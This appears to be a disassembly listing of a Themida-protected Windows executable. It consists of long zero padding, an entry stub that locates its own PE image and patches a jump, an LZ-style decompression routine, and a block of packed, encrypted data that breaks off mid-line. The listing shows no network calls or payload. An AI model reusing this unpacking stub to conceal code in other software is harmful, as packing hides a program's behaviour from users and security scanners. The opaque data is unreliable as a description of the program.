0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E1000 ( 921600.) ; Section size in file : 000E1000 ( 921600.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 54685BF0h, 41B86h, 5444Eh, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E5CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00541917 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00541B8D SIZE 00000060 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:004380F4o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53E5CE mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53E5CE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1563344h, 35C8BBFEh, 0BCAF42B8h, 3E848B36h, 240129FFh dd 7701A15Dh, 70211157h, 52E05D8Dh, 39747365h, 419C7261h dd 9F2E5E70h, 0BF433878h, 0DC3B5BBBh, 5B0133CAh, 54F07A84h dd 6D0B6568h, 0BF616469h, 1685548h, 172471D7h, 22795708h dd 5E3DC21Dh, 1FC29245h, 7011917Fh, 45FEF785h, 573DC298h dd 8F707191h, 3CC43D7h, 2BBA7B84h, 1680801h, 300E5CFFh dd 10312D34h, 728BFCBFh, 60D41CC5h, 5D0022E8h, 3353ED81h dd 72890935h, 0D266195h, 101049B5h, 800AF985h, 1520BD83h dd 1C74E003h, 8BE88B0Ch, 7111B8E2h, 701CEFC2h, 3E712444h dd 6A002DD1h, 0A360E845h, 749A6829h, 50077A83h, 1E250ADFh dd 910A894Bh, 14E90AD5h, 0D057EC02h, 0EC0A8B55h, 0EED8C483h dd 0EA815AC0h, 8B344041h, 45C7DA09h, 18081BD8h, 889400Eh dd 80FC7D81h, 0F741DC6h, 24087F20h, 9810AB83h, 0EB4312FFh dd 0DC36E163h, 14267461h, 4604C2C9h, 7CC48106h, 498E02FFh dd 18D8A44h, 5D8B8045h, 4485C708h, 8D504A19h, 0C3D1000Ah dd 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h, 64BA8D28h dd 800475ECh, 0F4BB0E8Ah, 0F8B85B93h, 3F785437h, 0F30D0D3h dd 0F7754B08h, 0C314AFECh, 914A4647h, 42F98A46h, 8A61D18Ah dd 0F01DD0E8h, 45EE627Fh, 0EB4D82FCh, 23AD8F04h, 143E8046h dd 84BAF740h, 7D9834DBh, 7F64EB0Ch, 6D33F83Eh, 32F01221h dd 10A0F40Eh, 0F065C14Ah, 0F8D60450h, 3E0D10Eh, 332858C2h dd 1C8A07DBh, 33FB8030h, 0A0F0A72h, 4F057739h, 2299BCEBh dd 0DFD6114h, 0DB660A9Fh, 0D3D71E08h, 10AB0AC3h, 72411A0Ch dd 37460A0Bh, 0A8240677h, 0F05D0186h, 83F41CECh, 7202C67Dh dd 0C0CD0CB0h, 0AAD9A576h, 73F82690h, 80DA8D81h, 0FC553BA8h dd 78822A0Fh, 6FB070BDh, 0BA9438AAh, 0B9380838h, 10FC702Ah dd 35D0BDh, 49470FFEh, 71B9FA75h, 386A7722h, 1BFD01BBh dd 0CEB82F1h, 868E60C7h, 360E37EDh, 1D65510Ah, 0E5FE1D77h dd 70A268Ah, 590005E9h, 0A614BC67h, 6F617C51h, 5D611909h dd 9C13382Eh, 62C82C22h, 1EC43C5Ch, 0C7226900h, 947CD7F6h dd 0CF86A08Dh, 0BA0F0125h, 0E941A528h, 0F82F800Eh, 92856B1Eh dd 0AEB401DFh, 0F6565B47h, 10A8D324h, 